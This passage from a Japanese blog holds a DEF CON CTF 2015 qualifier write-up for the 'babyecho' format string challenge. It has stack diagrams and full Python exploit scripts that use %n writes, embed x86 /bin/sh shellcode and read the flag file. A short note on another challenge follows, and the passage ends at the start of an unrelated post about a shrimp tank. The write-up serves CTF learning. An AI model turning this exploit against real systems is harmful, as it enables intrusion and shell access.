y=\"0\" dy=\".35em\">0x????????</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,60)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,100)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000a</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,140)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,180)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,220)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0xffea839c</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,260)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,300)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40V0h200v40\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M200,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,80h200\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n</g>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,20)\">esp</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,60)\">+0x04</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,100)\">+0x08</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,140)\">+0x0c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,180)\">+0x10</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,220)\">+0x14</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,260)\">+0x18</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,300)\">+0x1c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,380)\">+0x420</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,40)\">サブルーチンのリターンアドレス</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,80)\">\"Reading %d bytes\\n\"で表示される数字</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,120)\">定数(0x0a)</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,160)\">定数(null)</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,200)\">バッファーに読み込むバイト数</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,240)\">バッファーの開始アドレス</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,280)\">定数(null)</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(310,340)\">バッファー領域</text>\n</svg>\n\n\n### 攻撃手法:format string attack\n\nこれらの調査をもとに、バッファーに読み込むバイト数が格納されているesp+0x10の値を、esp+0x14に格納されているesp+0x1cのアドレスをもとに書き換え、読み込むバイト数の上限を書き換えて、format string attackで攻撃コードを送り込む余地をつくる作戦が考えられます。\nアプローチとしては以下の図のようになります。\n\n<svg width=\"640\" height=\"400\" viewBox=\"0 0 640 400\" style=\"background-color: #fff\">\n<defs>\n<marker id=\"arrowhead\" refX=\"2\" refY=\"5\" markerWidth=\"10\" markerHeight=\"10\" orient=\"auto\">\n<path d=\"M 0,0 V 10 L10,5 Z\" fill=\"black\"></path>\n</marker>\n</defs>\n<g class=\"block\" transform=\"translate(80,20)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x????????</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,60)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,100)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000a</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,140)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,180)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"red\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000040d</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,220)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">addr_buf</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,260)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,300)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40V0h200v40\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M200,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,80h200\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n</g>\n<g class=\"arrow\" transform=\"translate(260,240)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,0h40v60h-12\" marker-end=\"url(#arrowhead)\" stroke-width=\"1\" />\n</g>\n<g class=\"arrow\" transform=\"translate(280,190)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,110h95v-110h-87\" marker-end=\"url(#arrowhead)\" stroke-width=\"1\" />\n</g>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,20)\">esp</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,60)\">+0x04</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,100)\">+0x08</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,140)\">+0x0c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,180)\">+0x10</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,220)\">+0x14</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,260)\">+0x18</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,300)\">+0x1c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,380)\">+0x420</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(300,40)\">1. バッファーのアドレスを取得</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(300,80)\">2. バイト数格納位置の1バイト上位へ移動</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(300,120)\">3. その位置へ入力文字列長を格納</text>\n<text class=\"address\" text-anchor=\"start\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(310,270)\">%5$10p</text>\n<text class=\"address\" text-anchor=\"start\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(380,240)\">addr\\_buf - 0xb</text>\n<text class=\"address\" text-anchor=\"start\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(290,205)\">%7$ln</text>\n</svg>\n\n\n\n13バイト制限のため、2回に分けてこの方法を試行します。\nまず1回目に、**%5$10p**と入力することによって、esp+10に格納されているバッファーのアドレスを取得します。\n\nそのアドレスから0x0bを引くことによって、バッファーの読み込みバイト数が格納されているアドレスの1バイト上位のアドレスを計算します。\nこれは、一度に送ることができる文字数が制限されていることによって、**自由に大きな数値を指定できないため、**バッファーのバイト数格納位置の1バイト上位に文字列長を書き込む方法をとったためです。今回の最大13バイトの入力という制限下では、最大でも9までしか数値を指定できません。それをそのままバッファー読み込みバイト数に格納しても、現状の13バイトより減ってしまいます。そのため、書き込む位置を上位にずらすことで、結果的にその数値をビットシフトによる掛け算で大きくし、バイト数制限の値を拡張しています。\n\nそして2回目の入力時に、先ほど計算したアドレスへ文字数である4を、%nフォーマット文字列を使って書き込みます。これによって、現在0x0000000bとなっている読み込みバイト数を、0x0000040bに書き換えることができます。\n\nコードは以下のようになります。\n\n```python\n#!/usr/bin/env python\n\nimport sys\nimport socket\nimport struct\n\nHOST = 'localhost' # 'babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me'\nPORT = 3232\n\ns = socket.create_connection((HOST, PORT))\n\ndef exploit():\n index = 7 # index of read/write buffer\n\n print(s.recv(8192))\n s.send(\"%5$10p\\n\") # request buffer address\n\n addr_buf = int(s.recv(10), 16)\n print(\"[DEBUG] Buffer address = 0x%x\" % addr_buf)\n\n code = struct.pack('<I', (addr_buf - 0xb)) # address[buffer size limit] << 8\n code += \"%%%d$ln\\n\" % index # write message text length = 4\n\n s.recv(8192)\n s.send(code) # overwrite buffer\n\n s.recv(8192)\n print(s.recv(8192))\n\nif __name__=='__main__':\n exploit()\n\n```\n\n実行してみると、以下のようになりました。\n\n```\nReading 13 bytes\n\n[DEBUG] Buffer address = 0xffbf62bc\n\nReading 1023 bytes\n```\n\n1度にバッファーに読み込み可能な文字数の上限が変化しました。esp+0x10の値は、esp+0x11に4を書き込んだことから、0x0000040d、すなわち1037になるはずですが、ループを繰り返すたびに値のチェックがあり、1023を超える場合は1023に書き戻す処理があるので、上限が1023 bytesになりました。\n\nこれだけあれば、shellcodeを送り込んで実行させることができます。サブルーチンコールの呼び出し元であるリターンアドレスを書き換え、shellcodeを実行させてフラッグを獲得しに行きます。\n\n<svg width=\"640\" height=\"400\" viewBox=\"0 0 640 400\" style=\"background-color: #fff\">\n<defs>\n<marker id=\"arrowhead\" refX=\"2\" refY=\"5\" markerWidth=\"10\" markerHeight=\"10\" orient=\"auto\">\n<path d=\"M 0,0 V 10 L10,5 Z\" fill=\"black\"></path>\n</marker>\n<marker id=\"pointhead\" refX=\"5\" refY=\"5\" markerWidth=\"10\" markerHeight=\"10\" orient=\"auto\">\n<circle cx=\"5\" cy=\"5\" r=\"5\"/>\n</marker>\n</defs>\n<g class=\"block\" transform=\"translate(80,20)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x????????</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,60)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x000003ff</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,100)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x0000000a</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,140)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,180)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x000003ff</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,220)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">addr_buf</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,260)\">\n<rect rx=\"0\" ry=\"0\" width=\"200\" height=\"40\" fill=\"none\" stroke=\"#000000\" stroke-width=\"1\">\n</rect>\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">0x00000000</tspan>\n</text>\n</g>\n<g class=\"block\" transform=\"translate(80,300)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40V0h200v40\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M200,40v40\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,80h200\" stroke-dasharray=\"2\" stroke-width=\"1\" />\n<text text-anchor=\"middle\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" fill=\"black\" transform=\"translate(100,20)\">\n<tspan x=\"0\" y=\"0\" dy=\".35em\">addr_ret</tspan>\n<tspan x=\"0\" y=\"20\" dy=\".35em\">\"%??c$n%??c$n\"</tspan>\n<tspan x=\"0\" y=\"40\" dy=\".35em\">shellcode</tspan>\n</text>\n</g>\n<g class=\"arrow\" transform=\"translate(260,40)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,0h50v320h-42\" marker-end=\"url(#arrowhead)\" stroke-width=\"1\" />\n</g>\n<g class=\"arrow\" transform=\"translate(260,20)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,320h10v-20h-10h35v-300h-7\" marker-end=\"url(#arrowhead)\" stroke-width=\"1\" />\n</g>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,20)\">esp</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,60)\">+0x04</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,100)\">+0x08</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,140)\">+0x0c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,180)\">+0x10</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,220)\">+0x14</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,260)\">+0x18</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,300)\">+0x1c</text>\n<text class=\"address\" text-anchor=\"end\" fill=\"black\" font-family=\"Consolas, 'Courier New', Courier, Monaco, monospace\" dy=\".35em\" transform=\"translate(70,380)\">+0x420</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(320,80)\">- addr_buf - 0x20でaddr_retを求める</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(320,120)\">(addr_ret = リターンアドレスの格納場所)</text>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(320,160)\">- バッファーにshellcodeを書く</text>\n<g class=\"block\" transform=\"translate(325,200)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,0h-30\" marker-end=\"url(#pointhead)\" stroke-width=\"1\" />\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(5,0)\">addr_retにaddr_shellを書き込む</text>\n</g>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(320,240)\">(addr_shell = shellcodeの開始アドレス)</text>\n<g class=\"block\" transform=\"translate(325,280)\">\n<path stroke=\"#000000\" fill=\"none\" d=\"M0,0h-15\" marker-end=\"url(#pointhead)\" stroke-width=\"1\" />\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(5,0)\">printfからaddr_retにあるアドレスに戻る</text>\n</g>\n<text class=\"comment\" text-anchor=\"start\" fill=\"black\" dy=\".35em\" transform=\"translate(320,320)\">- shellcodeが実行される</text>\n</svg>\n\n\n```python\n#!/usr/bin/env python\n\nimport sys\nimport socket\nimport struct\n\nHOST = 'localhost' # 'babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me'\nPORT = 3232\n\ns = socket.create_connection((HOST, PORT))\n\ndef exploit():\n index = 7 # index of read/write buffer\n\n print(s.recv(8192))\n s.send(\"%5$10p\\n\") # request buffer address\n\n addr_buf = int(s.recv(10), 16)\n print(\"[DEBUG] Buffer address = 0x%x\" % addr_buf)\n\n code = struct.pack('<I', (addr_buf - 0xb)) # address[buffer size limit] << 8\n code += \"%%%d$ln\\n\" % index # write message text length = 4\n\n s.recv(8192)\n s.send(code) # overwrite buffer\n\n s.recv(8192)\n print(s.recv(8192))\n\n # x86 /bin/sh shellcode\n shellcode = \"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\n\n addr_ret = addr_buf - 0x20 # call return address = [esp]\n\n payload = struct.pack('<I', addr_ret) \\\n + struct.pack('<I', addr_ret + 1) \\\n + struct.pack('<I', addr_ret + 2) \\\n + struct.pack('<I', addr_ret + 3) \\\n + shellcode\n\n addr_shell = [\n addr_buf + 16 >> 0 & 0xff,\n addr_buf + 16 >> 8 & 0xff,\n addr_buf + 16 >> 16 & 0xff,\n addr_buf + 16 >> 24 & 0xff ]\n\n payload += \"%%%dc%%%d$hhn\" % ((addr_shell[0] - len(payload)) & 0xff, index) \\\n + \"%%%dc%%%d$hhn\" % ((addr_shell[1] - addr_shell[0]) & 0xff, index + 1) \\\n + \"%%%dc%%%d$hhn\" % ((addr_shell[2] - addr_shell[1]) & 0xff, index + 2) \\\n + \"%%%dc%%%d$hhn\" % ((addr_shell[3] - addr_shell[2]) & 0xff, index + 3) \\\n + \"\\n\"\n\n s.send(payload) # exploit\n\n s.send(\"cat</home/babyecho/flag\\n\") # capture the flag\n print(s.recv(8192))\n print(s.recv(8192))\n\nif __name__=='__main__':\n exploit()\n\n```\n\n\n実行結果は以下のとおりです。\n\n```\nReading 13 bytes\n\n[DEBUG] Buffer address = 0xffbf62bc\n\nReading 1023 bytes\n\n彙ソ… 拊ソ… 枌ソ… 歟ソ… j\nX儚h//shh/bin峨1ノヘ^\\\n…\n\n …\nThe flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%\n```\n\nFLAG:`1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%`\n\n今回の攻撃手法もIPAによって丁寧に解説及び対策が掲載されているので、詳しく知りたい場合は参考に見てみるのも良いでしょう。\n\n[IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:フォーマット文字列攻撃対策](http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c906.html)\n\n\n## その他\n\n\nCoding Challengeという、問題サーバーからレジスタの初期状態と機械語の命令コードが送られてきて、その命令を実行したあとのレジスタの値を送り返すという問題も解いたのですが、違う問題でglibcのアップデートをした際にマシンがクラッシュし、スナップショットの状態に戻した際に消えてしまいました。\nなのでコードがありません。\n\n### 問題文\n meow\n\n catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me\n\n解法としては、Pythonで以下のように処理するものを作成して実行しただけです。\n\n1. レジスタの初期状態と機械語命令コードを受信&パースする\n2. Cのソースコードを生成\n\t1. 命令コードをunsigned char型配列に突っ込む\n\t2. その配列を関数ポインタに変換\n\t3. mprotectで配列の領域を実行可能に変更\n\t4. asm volatile経由でレジスタの初期状態を書き込む\n\t5. 関数ポインタを呼び出し実行\n\t6. asm volatile経由で実行後のレジスタの値を読み出す\n\t7. 標準出力に出力\n3. gccでソースコードをコンパイル\n4. 生成したバイナリを実行し、出力を得る\n5. 出力を送信\n\nとなっています。\n途中、mprotectに関してみむらさんからアドバイスをいただき、解くことができました。\n\n[Cコード中にマシン語を埋め込んで実行する。 \\| みむらの手記手帳](http://mimumimu.net/blog/2011/11/17/c%E3%82%B3%E3%83%BC%E3%83%89%E4%B8%AD%E3%81%AB%E3%83%9E%E3%82%B7%E3%83%B3%E8%AA%9E%E3%82%92%E5%9F%8B%E3%82%81%E8%BE%BC%E3%82%93%E3%81%A7%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B%E3%80%82/)\n\nFLAG: `Cats with frickin lazer beamz on top of their heads!`\n\n\n<Notice type=\"tip\">\n追記:flag獲得者のみむらさんによるWrite-upが公開されています。\n[DEFCON CTF 23 Quals – catwestern Writeup \\| みむらの手記手帳](https://mimumimu.net/blog/2015/05/19/defcon-ctf-23-quals-catwestern/)\n</Notice>\n\n## まとめ\n\nチーム全体で計19ポイントを獲得し、結果33位でした。1ポイントしか貢献できませんでしたが、大人数でお互い協力して問題を解く楽しさを味わえてとても有意義でした。\nまた、問題傾向がPwn寄りであることから、もっとPwnに関する実力をつけなければならないと再確認できた良い機会でした。\n来年は5ポイントを目標に挑みたいと思います!\n"]}],[0,{"slug":[0,"2015/06/21/ebi-new-watertank/"],"data":[0,{"title":[0,"エビ水槽を新しくした"],"date":[3,"2015-06-21T07:35:31.000Z"],"image":[0,"/assets/images/2015/06/21/ebi-new-watertank.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Aquarium"]]],"tags":[1,[[0,"charm"],[0,"shrimp"]]]}],"content":[0,"\nえびを飼い始めて4ヶ月が過ぎました。\nゴールデンウィークにスカイツリーに行った時、偶然にもまた小さいえび(ホロホロシュリンプ,ピクシーシュリンプ,)を見つけてしまい、一目惚れした結果、新しくえびを4匹追加しました。\n\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">【速報】エビ購入 <a href=\"http://t.co/7XvtGubiKJ\">pic.twitter.com/7XvtGubiKJ</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/595125289643937792\">2015, 5月 